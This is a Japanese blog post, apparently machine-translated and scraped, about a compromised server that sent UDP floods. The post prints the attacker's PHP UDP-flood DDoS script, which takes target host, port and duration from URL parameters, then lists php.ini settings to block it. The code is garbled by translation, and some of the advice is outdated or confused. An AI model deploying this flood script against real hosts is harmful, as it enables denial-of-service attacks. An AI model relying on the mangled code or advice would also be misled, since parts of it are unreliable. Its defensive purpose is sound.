今日、私のマシンの 1 台が突然、1 秒あたり 1G を超える大量のデータ パケットを外部に送信しました。UDP パケットを禁止するポリシーを使用していたため、送信できませんでしたが、大量のデータ パケットが送信されました。お金が足りないので、ついに解決する方法を見つけました。
まずソースコードを見てください
コードは次のとおりです | コードをコピーしてください |
set_time_limit(999999); $host = $_GET['host']; $ port = $_GET['port ']; $exec_time = $_GET['time']; $Sendlen = 65535; $packets = 0; ignore_user_abort(True); if (StrLen($host)= =0 または StrLen($port ) == 0 または Strlen ($ exec_time) == 0) { if ( _ Get ['Rat']) & lt; gt; { echo $ _get ['ネズミ']. "]."|".GetHostByName($_SERVER ['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat' ]; exit}
$ max_time = time()+$ exec_time; ( "udp:// $ host"、$ port、$ errno、$ errstr、5); /1024=" .round($Sendlen/1024, 2) . ")kb / 1024 = " .
round($packets*$Sendlen/1024/1024, 2) . " mb
" ; echo "送信レート:" .round($packets/$exec_time, 2) .round($packets/ $Sendlen/1024/1024, 2) . s"; ?>
キーコードは
コードは次のとおりです コードをコピーしてください $fp = fsockopen("udp://$ip", $rand , $errno, $errstr, 5); 方法は非常に簡単で、UDP パケットをターゲット ホストに送信し、上記の無限ループの定義により、より大きな圧力が発生します。 このスクリプトを実行するサーバーは最初に独自のネットワーク帯域幅、CPU、その他のリソースを大量に消費するため、この負荷がかかります。 このスクリプトを使用してターゲットサイトに圧力をかけたい場合は、複数のサーバー、DDOSでスクリプトを実行する必要があります
| 外部にリクエストするためにfsockopenを使用しているので、彼にリクエストさせないでください
それを設定してくださいphp.ini
コードは次のとおりです コードをコピー | |
allow_url_fopen = Off |
そうであれば、パッケージを送信できます
コードは次のとおりです
コピーコード
拡張子 =php_sockets.dllに変更されました;拡張子= php_sockets.dll |
|
APACHE、IIS、NGINX を再起動します
これにより、PHP DDOS がパッケージを送信できなくなります
さらに、一部のネチズンは次のように述べています
タイムアウトなしに設定されるスクリプトを無効にするのは非常に簡単です。1. set_time_limit 関数を無効にします。2. PHP のセーフ モード (safe_mode=on) を有効にします
ソケット関数を無効にすると、すべてのソケット モジュールを直接無効にするか、fsockopen 関数を無効にできます
ソケットはパスワードを取得するためのメール送信によく使用されるため、有効にすることをお勧めします。セーフ モードを直接実行しますが、
この場合、スクリプトは 30 秒ごとにタイムアウトします。30 秒ごとにクリックして DDOS を起動するほど孤独な「ハッカー」はいないと推定されます。 。 。
経験: この種の問題は通常、Web サイトのセキュリティとサーバーのセキュリティに注意を払う必要があります。macofee の使用方法を知っていれば、簡単に侵入されないようにする必要があります。ウェブサイトを制限した方が良いでしょう。
http://www.bkjia.com/PHPjc/444720.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/444720.html技術記事今日、私のマシンの 1 台が突然、1 秒あたり 1G を超える可能性のある大量のデータ パケットを外部に送信しました。UDP パケットの送信を禁止するポリシーを使用しましたが、多額の費用がかかりました。結局、私はまだ考えていました...